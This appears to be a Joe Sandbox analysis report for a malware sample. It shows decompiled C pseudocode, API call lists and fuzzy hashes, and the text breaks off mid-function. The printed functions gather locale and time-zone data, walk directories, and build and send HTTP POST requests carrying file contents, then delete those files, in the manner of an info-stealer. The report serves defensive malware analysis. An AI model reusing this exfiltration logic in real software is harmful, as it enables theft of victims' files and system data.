Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$lstrlen$AllocGlobal
String ID:
API String ID: 3339188435-0
Opcode ID: 60e45e760f7f11844ec435d7dcc178df751af63b2df4026f7a66c0e9380aa7b5
Instruction ID: c614234c34a1319be1f7953e4cf89047a4aab9e08561e4a6e65f4c571b45b36c
Opcode Fuzzy Hash: 60e45e760f7f11844ec435d7dcc178df751af63b2df4026f7a66c0e9380aa7b5
Instruction Fuzzy Hash: 0EA1897A904301AFDB14DFA4DC8496BBBE5FFC9310F004918FA55932A1D772D952CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4197C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00A41A1E
LocalFree.KERNEL32(00000000), ref: 00A41A3E
FindClose.KERNEL32(00000000), ref: 00A41A5C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00A41AB2

Strings

`Kz, xrefs: 00A41A81

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: CombinePath$CloseFindFreeLocal
String ID: `Kz
API String ID: 2199340046-348855518
Opcode ID: 3cd8e55d14bf047eee6e99abaa5768655b25df73205a0dce0ae8e3b3f30b7877
Instruction ID: b8e52259c383cbf90593ccd17520791d56a8e8155b315b40e30c41fa25d8a66c
Opcode Fuzzy Hash: 3cd8e55d14bf047eee6e99abaa5768655b25df73205a0dce0ae8e3b3f30b7877
Instruction Fuzzy Hash: 5A41F87D600215ABDB24DBA4DC94EEA7778FFCA300F000199F91593190EB76DE86CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A41B13 Relevance: 7.6, APIs: 5, Instructions: 124COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00A41BB7
LocalFree.KERNEL32(00000000), ref: 00A41C1B
FindClose.KERNEL32(00000000), ref: 00A41C88

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID:
API String ID: 2857355001-0
Opcode ID: 8e0f13724fd8b44c30e9d0ea32d8199a67b0f8d84f41e1c636f1f61542c6d992
Instruction ID: c20fa5944f52d8e0e7e68cfecaa503025277f1e4563e58877d429428bb319ae7
Opcode Fuzzy Hash: 8e0f13724fd8b44c30e9d0ea32d8199a67b0f8d84f41e1c636f1f61542c6d992
Instruction Fuzzy Hash: E041B67D640218ABDB24DBA4DDD5EEA7778FBC6300F000598FA1593190EB769E86CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A48F1D Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00A48F1D(void* __eflags, intOrPtr* _a4) {
				void* _t13;
				void* _t17;
				intOrPtr* _t19;

				_t13 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_t17 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x400);
				GetLocaleInfoW(GetUserDefaultLCID(), 0x1001, _t13, 0x104);
				wsprintfW(_t17,  *0xa4ec58, _t13);
				_t19 = _a4;
				 *_t19 = E00A4A5DB( *_t19, _t17);
				LocalFree(_t13);
				LocalFree(_t17);
				return 1;
			}

0x00a48f37
0x00a48f48
0x00a48f5c
0x00a48f66
0x00a48f6c
0x00a48f7c
0x00a48f7e
0x00a48f85
0x00a48f92

APIs

GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,00A49905,00000000), ref: 00A48F55
GetLocaleInfoW.KERNEL32(00000000,?,00A49905,00000000,?,?,?,?,?,?,?,?,?,?,?,00A478B9), ref: 00A48F5C
wsprintfW.USER32 ref: 00A48F66

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A478B9), ref: 00A48F7E
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A478B9), ref: 00A48F85

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Free$Locallstrlen$DefaultGlobalInfoLocaleUserwsprintf
String ID:
API String ID: 2247720945-0
Opcode ID: c82db5bc8d4b472362c2f973ab3a90a1d3b81a11e5534c1c19bf019dc6e61f9e
Instruction ID: d2bad095822245c83ce660327837f383861ba978ab8b1407719caff6e23cc821
Opcode Fuzzy Hash: c82db5bc8d4b472362c2f973ab3a90a1d3b81a11e5534c1c19bf019dc6e61f9e
Instruction Fuzzy Hash: 74F0AF7E280204EFE300DBE4AC89E6A7BA8FBCA720F004414F75893290CAB25C028675

Uniqueness

Uniqueness Score: -1.00%

Function 00A4617D Relevance: 6.1, APIs: 4, Instructions: 137encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(00A4658F,00000000), ref: 00A461C0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?), ref: 00A46270
LocalFree.KERNEL32(00000000), ref: 00A4628A
LocalFree.KERNEL32(?), ref: 00A462DF

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$BinaryByteCharCryptMultiStringWide
String ID:
API String ID: 565018292-0
Opcode ID: 2abc2e4e8385e10938dcc5bf07534f1042429106507741766801005cecd0ee5e
Instruction ID: 9422c3225d1f626d2034d9709aacd18396538d811cab82865d972bececa4523e
Opcode Fuzzy Hash: 2abc2e4e8385e10938dcc5bf07534f1042429106507741766801005cecd0ee5e
Instruction Fuzzy Hash: 13412979A40205AFEB14DBE8DC85FAEBBB8FFCA700F104059E514E7290D7B559028B61

Uniqueness

Uniqueness Score: -1.00%

Function 00A46053 Relevance: 4.6, APIs: 3, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00A46053(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v524;
				char _v536;
				char _v540;
				char _v546;
				char _v560;
				char _v1084;
				intOrPtr _v1092;
				char _v1096;
				short _v1100;
				intOrPtr _v1120;
				signed int _v1128;
				char _v1132;
				short* _v1156;
				void* __ebx;
				void* __esi;
				void* _t25;
				void* _t31;
				void* _t34;
				signed int _t36;
				WCHAR* _t49;
				void* _t74;
				intOrPtr _t76;
				void* _t78;

				_t76 = _a8;
				_t49 = __ecx;
				_v1120 = __edx;
				if(_t76 > 2) {
					L10:
					_t25 = 1;
					L11:
					return _t25;
				}
				E00A418F7( &_v524, 0x104, __ecx, __ecx);
				E00A4189A(__ecx,  &_v536, 0x104, _t76,  *0xa4e1c4);
				_t74 =  *((intOrPtr*)( *0xa4e01c))( &_v540,  &_v1132, __ecx);
				if(_t74 != 0xffffffff) {
					do {
						__eflags = _v1128 & 0x00000010;
						if((_v1128 & 0x00000010) != 0) {
							__eflags =  *((intOrPtr*)( *0xa4e0a4))( &_v1084,  *0xa4eb84);
							if(__eflags != 0) {
								_t34 = 0x2e;
								__eflags = _t34 - _v1092;
								if(_t34 != _v1092) {
									_t36 =  *((intOrPtr*)( *0xa4e090))(_t49);
									_t59 =  &_v546 + _t36 * 2;
									_push( &_v546 + _t36 * 2);
									E00A418F7( &_v546 + _t36 * 2, 0x104, _t59,  &_v1096);
									_t22 = _t76 + 1; // 0xa47922
									E00A46053( &_v560, _v1156, _a4, _t22);
								}
							} else {
								_t78 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								PathCombineW(_t78, _t49,  &_v1100);
								E00A4643A(_t78, _v1156, __eflags, _a4);
								__eflags = _t78;
								if(_t78 != 0) {
									LocalFree(_t78);
								}
								_t76 = _a8;
							}
						}
						_t31 =  *((intOrPtr*)( *0xa4e144))(_t74,  &_v1128);
						__eflags = _t31;
					} while (_t31 != 0);
					FindClose(_t74);
					goto L10;
				} else {
					_t25 = 0;
					goto L11;
				}
			}

0x00a46061
0x00a46064
0x00a46066
0x00a4606e
0x00a4612c
0x00a4612c
0x00a4612e
0x00a46134
0x00a46134
0x00a46085
0x00a46099
0x00a460b2
0x00a460b7
0x00a460bd
0x00a460bd
0x00a460c2
0x00a460d6
0x00a460d8
0x00a46137
0x00a46138
0x00a4613d
0x00a46145
0x00a46153
0x00a46156
0x00a4615d
0x00a46166
0x00a46174
0x00a4617a
0x00a460da
0x00a460e8
0x00a460f1
0x00a46100
0x00a46106
0x00a46108
0x00a4610b
0x00a4610b
0x00a46111
0x00a46111
0x00a460d8
0x00a4611f
0x00a46121
0x00a46121
0x00a46126
0x00000000
0x00a460b9
0x00a460b9
0x00000000
0x00a460b9

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 00A460F1
LocalFree.KERNEL32(00000000), ref: 00A4610B
FindClose.KERNEL32(00000000), ref: 00A46126

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID:
API String ID: 2857355001-0
Opcode ID: 1641f7c8a2d5413fd003e3ab6990eb1245deff139a0f6fe13d3156a2bef9ebab
Instruction ID: c9182ece48584b670330bdba11c82c08bb07a14bff5cf7fbbf54f938b9c4bd5e
Opcode Fuzzy Hash: 1641f7c8a2d5413fd003e3ab6990eb1245deff139a0f6fe13d3156a2bef9ebab
Instruction Fuzzy Hash: A731C27E104305ABD724EFA8DC85DBB73A8FBCA314F008609F96583291DB729D46C762

Uniqueness

Uniqueness Score: -1.00%

Function 00A41726 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(?,00000000), ref: 00A41782
LocalFree.KERNEL32(00000000), ref: 00A41789
LocalFree.KERNEL32(00000000), ref: 00A41794

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: 0dbcac7359830fb9d70965fe4f7d9d0c23d9df42e898e1cdac032cfaccb70cfb
Instruction ID: 8120f3ac6c18b12f660bd59d20a53b4bf6d0adbd476c037895b6ce1e06448793
Opcode Fuzzy Hash: 0dbcac7359830fb9d70965fe4f7d9d0c23d9df42e898e1cdac032cfaccb70cfb
Instruction Fuzzy Hash: D701BC7E210205FFEB15CBA8EC84FAA7BACEFC9354F100420F606D2150EAB1DD018A70

Uniqueness

Uniqueness Score: -1.00%

Function 00A49055 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00A49055(intOrPtr* _a4) {
				struct _TIME_ZONE_INFORMATION _v176;
				void* _t8;
				void* _t20;
				intOrPtr* _t21;

				GetTimeZoneInformation( &_v176);
				_t20 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x400);
				_push( ~(_v176.Bias));
				_t8 = 0x2b;
				_t15 =  >  ? _t8 : 0;
				wsprintfW(_t20,  *0xa4eaec,  >  ? _t8 : 0);
				_t21 = _a4;
				 *_t21 = E00A4A5DB( *_t21, _t20);
				LocalFree(_t20);
				return 1;
			}

0x00a49067
0x00a49085
0x00a49087
0x00a4908a
0x00a4908d
0x00a49098
0x00a4909e
0x00a490ae
0x00a490b0
0x00a490bc

APIs

GetTimeZoneInformation.KERNEL32(?,-00000014,76D85850), ref: 00A49067
wsprintfW.USER32 ref: 00A49098

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000), ref: 00A490B0

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Freelstrlen$GlobalInformationLocalTimeZonewsprintf
String ID:
API String ID: 184722451-0
Opcode ID: aaa58be28bb82bc083f4bb71a96b70291929606220fab73dd6479112916aa7ac
Instruction ID: a535c1b51247dac21f223d64a67e8073962909b01b340bcf31ad6285ac5d2920
Opcode Fuzzy Hash: aaa58be28bb82bc083f4bb71a96b70291929606220fab73dd6479112916aa7ac
Instruction Fuzzy Hash: 71F0967A740200AFE710EBA8DC05F6BB7F9FFCA700F118469F655D7150DAB19D028A61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A2D7 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

8724643052, xrefs: 00A4A2E5

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID:
String ID: 8724643052
API String ID: 0-1672153599
Opcode ID: 7e6745f2afe11213e6afcbb751e3e573ea04d9c7f82603eabb9912f1d79a5a78
Instruction ID: 04f52928e16fdc3b6715cecb7d2806534de2527dc3270a878c64ece49877827e
Opcode Fuzzy Hash: 7e6745f2afe11213e6afcbb751e3e573ea04d9c7f82603eabb9912f1d79a5a78
Instruction Fuzzy Hash: 90E06D7D6411256AEB20DBF8EC49BAE77ACEB99214F100094E815D6180EA60EE058AA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A417A1 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcfabc5e329262376f7d27abc19863c649e850cb0c6d10e38eb5d80111a7aebc
Instruction ID: ec638befb7ad5bcb9b6c4270cd6051a4004a1ccbd45ef08e218e90124ff20e11
Opcode Fuzzy Hash: bcfabc5e329262376f7d27abc19863c649e850cb0c6d10e38eb5d80111a7aebc
Instruction Fuzzy Hash: 9401FF7A241122BFDB25CB9EDC85E9B7FADEF8A7A0B100114F608D7250DA719D01CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A47C6B Relevance: 60.0, APIs: 28, Strings: 6, Instructions: 474
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00A47C6B(short* __ecx, void* __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, intOrPtr _a24) {
				void* _v8;
				CHAR* _v12;
				int _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				void* _v36;
				char _v40;
				void _v44;
				void _v48;
				void* _v52;
				void* _t105;
				void* _t108;
				signed int _t109;
				signed int _t111;
				void* _t115;
				int _t117;
				CHAR* _t119;
				int _t120;
				void* _t124;
				void* _t125;
				void* _t127;
				char _t144;
				void* _t160;
				void* _t162;
				long _t164;
				long _t165;
				signed int _t170;
				void* _t174;
				void* _t175;
				void* _t176;
				void* _t178;
				void* _t179;
				void* _t182;
				void* _t183;
				void* _t184;
				void* _t185;
				int _t186;
				void* _t187;
				void* _t204;
				void* _t206;
				void* _t207;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t215;
				void* _t218;
				void* _t219;
				intOrPtr _t221;
				intOrPtr* _t222;
				signed int _t224;
				void* _t277;
				intOrPtr _t280;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t288;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t292;
				intOrPtr _t295;
				intOrPtr _t296;
				intOrPtr _t297;
				intOrPtr _t298;
				intOrPtr _t300;
				intOrPtr _t302;
				intOrPtr _t303;
				intOrPtr _t306;
				intOrPtr _t307;
				intOrPtr _t308;
				intOrPtr _t309;
				intOrPtr _t311;
				void* _t312;
				signed int _t313;
				CHAR* _t314;
				void* _t315;
				void* _t317;
				void* _t320;
				signed short* _t322;
				void* _t323;
				void* _t324;
				void* _t325;
				void* _t327;
				void** _t332;
				void* _t333;

				_v20 = __edx;
				_t321 = __ecx;
				_t219 =  *((intOrPtr*)( *0xa4e048))(0x40, 0xc350);
				_v24 = _t219;
				_t312 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_v28 = _t312;
				if( *__ecx != 0x68) {
					L14:
					return 0;
				}
				_t105 = 0x74;
				if( *((intOrPtr*)(__ecx + 2)) != _t105 ||  *((intOrPtr*)(__ecx + 4)) != _t105 ||  *((short*)(__ecx + 6)) != 0x70) {
					goto L14;
				} else {
					_t7 = _t321 + 8; // 0x4589d0ff
					_v32 =  *_t7 & 0x0000ffff;
					_t108 =  *((intOrPtr*)( *0xa4e180))(__ecx, L"://");
					_v16 = 0x2f;
					_t277 = 0;
					_t10 = _t108 + 6; // 0x6
					_t322 = _t10;
					_t109 =  *_t322 & 0x0000ffff;
					_t224 = _t109;
					if(_t109 == _v16) {
						L7:
						_t111 =  *((intOrPtr*)( *0xa4e090))(_t312);
						_t313 = _a4;
						_v52 =  &(_t322[_t111]);
						_t115 =  *((intOrPtr*)( *0xa4e048))(0x40, _t313 << 0x15);
						_v8 = _t115;
						if(_t313 <= 0) {
							L11:
							_t117 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _v8, 0xffffffff, 0, 0, 0, 0);
							_v16 = _t117;
							_t323 =  *((intOrPtr*)( *0xa4e048))(0x40, _t313 << 0x14);
							_t119 =  *((intOrPtr*)( *0xa4e048))(0x40, _t313 + _a12 << 0x14);
							_v12 = _t119;
							_t314 = _t119;
							_t120 = _v16;
							if(_t120 == 0) {
								L19:
								LocalFree(_v8);
								LocalFree(_t323);
								if(_a12 <= 0) {
									L32:
									_t124 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x100);
									_t280 =  *0xa4ebc8; // 0x795dd8
									_t125 = E00A4A635(_t124, _t280);
									_t281 =  *0xa4ec24; // 0x795e58
									_t127 = E00A4A635(E00A4A635(_t125, _t281), _v20);
									_t283 =  *0xa4ec24; // 0x795e58
									_t324 = E00A4A635(_t127, _t283);
									_push(_t324);
									if(lstrcpynA(_t314, _t324,  *((intOrPtr*)( *0xa4e18c))() + 1) != 0) {
										_t314 =  &(_t314[ *((intOrPtr*)( *0xa4e18c))(_t324)]);
									}
									LocalFree(_t324);
									_v44 = 0x927c0;
									_v48 = 0x927c0;
									_t325 =  *((intOrPtr*)( *0xa4e124))(L"record", 0, 0, 0, 0);
									_v36 = _t325;
									InternetSetOptionW(_t325, 6,  &_v44, 4);
									InternetSetOptionW(_t325, 5,  &_v48, 4);
									if(_t325 == 0) {
										L45:
										_t327 = MultiByteToWideChar(0xfde9, 0, _t219,  *((intOrPtr*)( *0xa4e18c))(0) + 1, _t219, 0);
										_v52 = _t327;
										_t144 = _t327 + _t327;
										_v40 = _t144;
										_t315 =  *((intOrPtr*)( *0xa4e048))(0x40, _t144);
										if(_t327 != 0) {
											MultiByteToWideChar(0xfde9, 0, _t219,  *((intOrPtr*)( *0xa4e18c))(_v52) + 1, _t219, _t315);
											 *((short*)(_v40 + _t315 - 2)) = 0;
										}
										if(_t315 != 0) {
											LocalFree(_t315);
										}
										LocalFree(_v28);
										LocalFree(_t219);
										LocalFree(_v12);
										return 1;
									} else {
										_t158 =  ==  ? 0x1bb : 0;
										_t159 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
										_t160 =  *((intOrPtr*)( *0xa4e174))(_t325, _v28, ( ==  ? 0x1bb : 0) & 0x0000ffff, 0x73, 0x50, 0, 0, 3, 0, 1);
										_v20 = _t160;
										if(_t160 == 0) {
											L44:
											InternetCloseHandle(_t325);
											goto L45;
										}
										_v40 = 0xc00000;
										_t243 =  ==  ? _v40 : 0x400000;
										_t162 =  *((intOrPtr*)( *0xa4e0bc))(_t160,  *0xa4ea54, _v52, 0, 0, _a24,  ==  ? _v40 : 0x400000, 0x73, 1);
										_t219 = _v24;
										_v52 = _t162;
										if(_t162 == 0) {
											L43:
											InternetCloseHandle(_v20);
											goto L44;
										}
										_t164 = _v12;
										_t165 =  *((intOrPtr*)( *0xa4e090))(_t314 - _t164);
										_t317 = _v52;
										if(HttpSendRequestW(_t317, _a20, _t165, _a20, _t164) == 0) {
											L42:
											InternetCloseHandle(_t317);
											_t325 = _v36;
											goto L43;
										}
										while(1) {
											_push( &_v32);
											_push(0xc350);
											_push(_t219);
											_push(_t317);
											if( *((intOrPtr*)( *0xa4e0fc))() == 0) {
												goto L42;
											}
											_t170 = _v32;
											if(_t170 == 0) {
												goto L42;
											}
											 *((char*)(_t219 + _t170)) = 0;
										}
										goto L42;
									}
								}
								_t221 = _a12;
								_t332 = _a16 + 4;
								do {
									_t174 =  *((intOrPtr*)( *0xa4e148))( *_t332, 0);
									_v36 = _t174;
									_t49 = _t174 + 0x400; // 0x400
									_t175 =  *((intOrPtr*)( *0xa4e048))(0x40, _t49);
									_t288 =  *0xa4ebc8; // 0x795dd8
									_t176 = E00A4A635(_t175, _t288);
									_t289 =  *0xa4ec24; // 0x795e58
									_t178 = E00A4A635(E00A4A635(_t176, _t289), _v20);
									_t291 =  *0xa4ebc8; // 0x795dd8
									_t179 = E00A4A635(_t178, _t291);
									_t292 =  *0xa4ec2c; // 0x79fa60
									_t182 = E00A4A635(E00A4A635(E00A4A635(_t179, _t292),  *(_t332 - 4)), "\"");
									_t295 =  *0xa4ebc8; // 0x795dd8
									_t183 = E00A4A635(_t182, _t295);
									_t296 =  *0xa4ebd8; // 0x79c640
									_t184 = E00A4A635(_t183, _t296);
									_t297 =  *0xa4ebc8; // 0x795dd8
									_t185 = E00A4A635(_t184, _t297);
									_t298 =  *0xa4ebc8; // 0x795dd8
									_t186 = E00A4A635(_t185, _t298);
									_v16 = _t186;
									_t187 =  *((intOrPtr*)( *0xa4e18c))(_t186);
									_v8 = _t187;
									_t54 = _t187 + 1; // 0x1
									if(lstrcpynA(_t314, _v16, _t54) != 0) {
										_t314 =  &(_t314[_v8]);
										if( *_t332 != 0) {
											_push(0);
											_push( &_v40);
											_push(_v36);
											_push(_t314);
											_push( *_t332);
											if( *((intOrPtr*)( *0xa4e08c))() != 0) {
												_t314 =  &(_t314[_v40]);
											}
											CloseHandle( *_t332);
										}
									}
									if( *(_t332 - 4) != 0) {
										LocalFree( *(_t332 - 4));
									}
									if(_t332[1] != 0) {
										DeleteFileW(_t332[1]);
										LocalFree(_t332[1]);
									}
									LocalFree(_v16);
									_t332 =  &(_t332[4]);
									_t221 = _t221 - 1;
								} while (_t221 != 0);
								_t219 = _v24;
								goto L32;
							}
							_push(0);
							_push(0);
							_push(_t120);
							_push(_t323);
							_push(0xffffffff);
							_push(_v8);
							_push(0);
							_push(0xfde9);
							if( *((intOrPtr*)( *0xa4e0e8))() != 0) {
								_push(_t323);
								if( *((intOrPtr*)( *0xa4e18c))() > 0 && lstrcpynA(_v12, _t323, _v16) != 0) {
									_t314 = _v16 - 1 + _v12;
								}
								goto L19;
							}
							LocalFree(_v8);
							LocalFree(_t219);
							LocalFree(_t323);
							LocalFree(_v28);
							goto L14;
						}
						_t222 = _a8;
						_v16 = _t313;
						_t320 = _t115;
						do {
							_t204 = E00A4A59A(_v20);
							_t300 =  *0xa4ebe0; // 0x796098
							_t333 = _t204;
							_t206 = E00A4A5DB(E00A4A5DB(_t320, _t300), _t333);
							_t302 =  *0xa4eb44; // 0x795f18
							_t207 = E00A4A5DB(_t206, _t302);
							_t303 =  *0xa4eb34; // 0x7a5778
							_t210 = E00A4A5DB(E00A4A5DB(E00A4A5DB(_t207, _t303),  *_t222), "\"");
							_t306 =  *0xa4eb44; // 0x795f18
							_t211 = E00A4A5DB(_t210, _t306);
							_t307 =  *0xa4eb50; // 0x7a3b18
							_t212 = E00A4A5DB(_t211, _t307);
							_t308 =  *0xa4eb44; // 0x795f18
							_t213 = E00A4A5DB(_t212, _t308);
							_t309 =  *0xa4eb44; // 0x795f18
							_t215 = E00A4A5DB(E00A4A5DB(_t213, _t309),  *((intOrPtr*)(_t222 + 4)));
							_t311 =  *0xa4eb44; // 0x795f18
							_t320 = E00A4A5DB(_t215, _t311);
							LocalFree(_t333);
							_t25 =  &_v16;
							 *_t25 = _v16 - 1;
							_t222 = _t222 + 0xc;
						} while ( *_t25 != 0);
						_t219 = _v24;
						_v8 = _t320;
						_t313 = _a4;
						goto L11;
					} else {
						_t218 = 0;
						do {
							_t277 = _t277 + 1;
							 *(_t218 + _t312) = _t224;
							_t218 = _t277 + _t277;
